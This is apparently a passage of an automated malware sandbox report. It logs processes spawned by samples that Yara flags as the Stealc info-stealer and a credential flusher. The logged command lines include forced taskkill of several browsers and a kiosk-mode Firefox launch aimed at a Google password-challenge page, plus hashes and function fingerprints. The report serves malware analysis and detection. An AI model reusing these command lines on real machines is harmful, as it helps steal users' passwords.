File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	15:15:34
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:15:34
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	15:15:34
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	15:15:34
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	15:15:35
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	15:15:35
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	15:15:35
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6d20e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	15:15:35
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6d20e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	15:15:35
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6d20e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	15:15:36
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2328 -parentBuildID 20230927232528 -prefsHandle 2276 -prefMapHandle 2268 -prefsLen 25298 -prefMapSize 238442 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {088f43d8-6bb3-42c8-b138-0dc4fcaf2c63} 6992 "\\.\pipe\gecko-crash-server-pipe.6992" 27282f6d910 socket
Imagebase:	0x7ff6d20e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	15:15:37
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe"
Imagebase:	0xaa0000
File size:	1'787'392 bytes
MD5 hash:	925D775A24989DA8E83CABCD00FDE1D3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.2408464145.0000000000AA1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.2416102733.000000000174B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000003.2356073494.0000000005450000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	15:15:40
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3172 -parentBuildID 20230927232528 -prefsHandle 1404 -prefMapHandle 1368 -prefsLen 26313 -prefMapSize 238442 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0244d90d-1682-4d12-b197-beaa83464e45} 6992 "\\.\pipe\gecko-crash-server-pipe.6992" 27294e03b10 rdd
Imagebase:	0x7ff6d20e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	15:15:43
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe"
Imagebase:	0x290000
File size:	2'817'536 bytes
MD5 hash:	05F8EAD29013AC531082A69C2A003D71
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	15:15:46
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe"
Imagebase:	0xbd0000
File size:	922'624 bytes
MD5 hash:	09061FE9B6D117A3D40497832BFE6F3F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	15:15:46
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	15:15:46
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	15:15:55
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f20b4c0961.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	15:15:55
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2368,i,10457971131075551606,11842695029259908311,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	15:16:02
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe"
Imagebase:	0xaa0000
File size:	1'787'392 bytes
MD5 hash:	925D775A24989DA8E83CABCD00FDE1D3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000026.00000002.2702954448.0000000000AA1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000026.00000002.2706190538.0000000001442000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000026.00000003.2612937099.00000000051D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	15:16:03
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	15:16:03
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	15:16:04
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	15:16:04
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	15:16:04
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	15:16:04
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	15:16:04
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	15:16:04
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	15:16:05
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6d20e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	15:16:05
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6d20e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	15:16:10
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe"
Imagebase:	0xbd0000
File size:	922'624 bytes
MD5 hash:	09061FE9B6D117A3D40497832BFE6F3F
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	15:16:11
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	15:16:11
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	15:16:15
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f20b4c0961.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	15:16:15
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1968,i,2945064441202540453,18024779015295446793,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	15:16:18
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f20b4c0961.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	15:16:18
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1936,i,3775567142360225983,14065324662938465342,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	15:16:19
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	922'624 bytes
MD5 hash:	09061FE9B6D117A3D40497832BFE6F3F
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000038.00000003.2755283804.0000000001236000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	15:16:19
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 04FC029B Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1493494386.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc0000_2fQ8fpTWAP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cec340c03742f72f87d6481880ea213d11232dca4113f6123c0c0994240b2e5f
Instruction ID: 83290f0391b43e261053785c9c25c0dc7ff50747c5ec1a028cf13e511ee6e6d3
Opcode Fuzzy Hash: cec340c03742f72f87d6481880ea213d11232dca4113f6123c0c0994240b2e5f
Instruction Fuzzy Hash: 27E092A734C113FF514186C057946B97A6DF796230370482EF04BDB101FE90790BB2B0

Function 04FC02B9 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1493494386.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc0000_2fQ8fpTWAP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6167143b08b8aba5e16722765c7a179cc4ef9a98fe39c37565b89243991521f
Instruction ID: fbd3e9a5bc1187b30b44d2a0fbc9ca7cecb27932eec65dcff1bbee9edd667c66
Opcode Fuzzy Hash: f6167143b08b8aba5e16722765c7a179cc4ef9a98fe39c37565b89243991521f
Instruction Fuzzy Hash: FAE0926734C012EF81458BC593546787A69BB56230370492EF08BCB101FE507917B7B0

Function 04FC02D5 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1493494386.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc0000_2fQ8fpTWAP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62fc8f5edd2d78412a035488772a1a3873116efa0872c496a142ebaf1a98136a
Instruction ID: aa8c52800f31928eca9c7263c8e3bbae6fa35af7761341855434aab1a87aa97f
Opcode Fuzzy Hash: 62fc8f5edd2d78412a035488772a1a3873116efa0872c496a142ebaf1a98136a
Instruction Fuzzy Hash: A9E0266320C553CFC20183E097193B9BF406B205407100C5FE08B8B292BD212543F5E2

Function 04FC02F1 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1493494386.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc0000_2fQ8fpTWAP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13a3d11487bdf0ec0033054fef76bc38f8e85ada781df6d494f92f415dc03ff7
Instruction ID: eb84a737a217ab314a1800857aeac538e9c432fb427f1d2b8678d83593731c95
Opcode Fuzzy Hash: 13a3d11487bdf0ec0033054fef76bc38f8e85ada781df6d494f92f415dc03ff7
Instruction Fuzzy Hash: 04D05E23A0C15BEF434056E15359339BA983B1A1217A0486EE5879F0A6FE162947B5F2

Function 04FC0307 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1493494386.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc0000_2fQ8fpTWAP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 986e03275dc9f2f4805c4dc11f1c53d38920ad8ccf5cacfbd9c3739c61fc25fb
Instruction ID: 1af15bcf4743a6321beeca85e618b72a779185da6bb2e92395c25e8e63786bb3
Opcode Fuzzy Hash: 986e03275dc9f2f4805c4dc11f1c53d38920ad8ccf5cacfbd9c3739c61fc25fb
Instruction Fuzzy Hash: 3CD05E3360E402EF42414AD19B04639B664BB41111320489EE09B8B041FE256153F9F2

Function 04FC032D Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1493494386.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc0000_2fQ8fpTWAP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e43a8d982bb62e93789e49e7a369e1e4def1f5f72c85de7e61c739b99dd9c7b
Instruction ID: 0a2d06a1c22b2386b1414c36bd25878cc0b7d34c67252ed92092d5b04e82708c
Opcode Fuzzy Hash: 0e43a8d982bb62e93789e49e7a369e1e4def1f5f72c85de7e61c739b99dd9c7b
Instruction Fuzzy Hash: 42C02B0390C413CE814084F0060063215403311030358039FA0F74F0C1F4035067E1F0

Analysis Process: f20b4c0961.exePID: 3576, Parent PID: 3344COMMON

Non-executed Functions

Function 0119E0B8 Relevance: 1.7, Strings: 1, Instructions: 474COMMON

Download Yara Rule

Strings

w, xrefs: 0119E31A

Memory Dump Source

Source File: 00000009.00000003.2241194022.0000000001191000.00000004.00000020.00020000.00000000.sdmp, Offset: 01193000, based on PE: false

Associated: 00000009.00000003.2349296434.000000000118C000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_1191000_f20b4c0961.jbxd

Similarity

API ID:
String ID: w
API String ID: 0-476252946
Opcode ID: 4c8ec1b21a6e23fa9bdf645b238b263811d5c7fb61e82a6fa1faf305e7b2c2b4
Instruction ID: 53d11235e61f3ab0bca7550a9ec927bd3d1b028b845a6990fed0f6ffd6091150
Opcode Fuzzy Hash: 4c8ec1b21a6e23fa9bdf645b238b263811d5c7fb61e82a6fa1faf305e7b2c2b4
Instruction Fuzzy Hash: 77F1F0A240E7C15FE7178B3498296807FB0AF13264B0E46DBC0E4CF5E3E359594AD766

Function 0119E0B8 Relevance: 1.7, Strings: 1, Instructions: 474COMMON

Download Yara Rule

Strings

w, xrefs: 0119E31A

Memory Dump Source

Source File: 00000009.00000003.2241194022.0000000001191000.00000004.00000020.00020000.00000000.sdmp, Offset: 01191000, based on PE: false

Associated: 00000009.00000003.2349296434.000000000118C000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_1191000_f20b4c0961.jbxd

Similarity

API ID:
String ID: w
API String ID: 0-476252946
Opcode ID: 4c8ec1b21a6e23fa9bdf645b238b263811d5c7fb61e82a6fa1faf305e7b2c2b4
Instruction ID: 53d11235e61f3ab0bca7550a9ec927bd3d1b028b845a6990fed0f6ffd6091150
Opcode Fuzzy Hash: 4c8ec1b21a6e23fa9bdf645b238b263811d5c7fb61e82a6fa1faf305e7b2c2b4
Instruction Fuzzy Hash: 77F1F0A240E7C15FE7178B3498296807FB0AF13264B0E46DBC0E4CF5E3E359594AD766

Analysis Process: f20b4c0961.exePID: 3848, Parent PID: 4084COMMON

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	0

Executed Functions

Function 05BFE604 Relevance: 1.3, APIs: 1, Instructions: 35
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 05BFF3C4

Memory Dump Source

Source File: 0000000B.00000002.2784743127.0000000005BFA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BF0000, based on PE: true

Associated: 0000000B.00000002.2784528275.0000000005BF0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2784603033.0000000005BF2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2784675388.0000000005BF6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2784743127.0000000005D91000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2784743127.0000000005E97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2784743127.0000000005EA4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2784743127.0000000005EA6000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5bf0000_f20b4c0961.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 99df8cf79f29dce0f3f73ce8360b039390de843efc6ba76d8dda7db24e368994
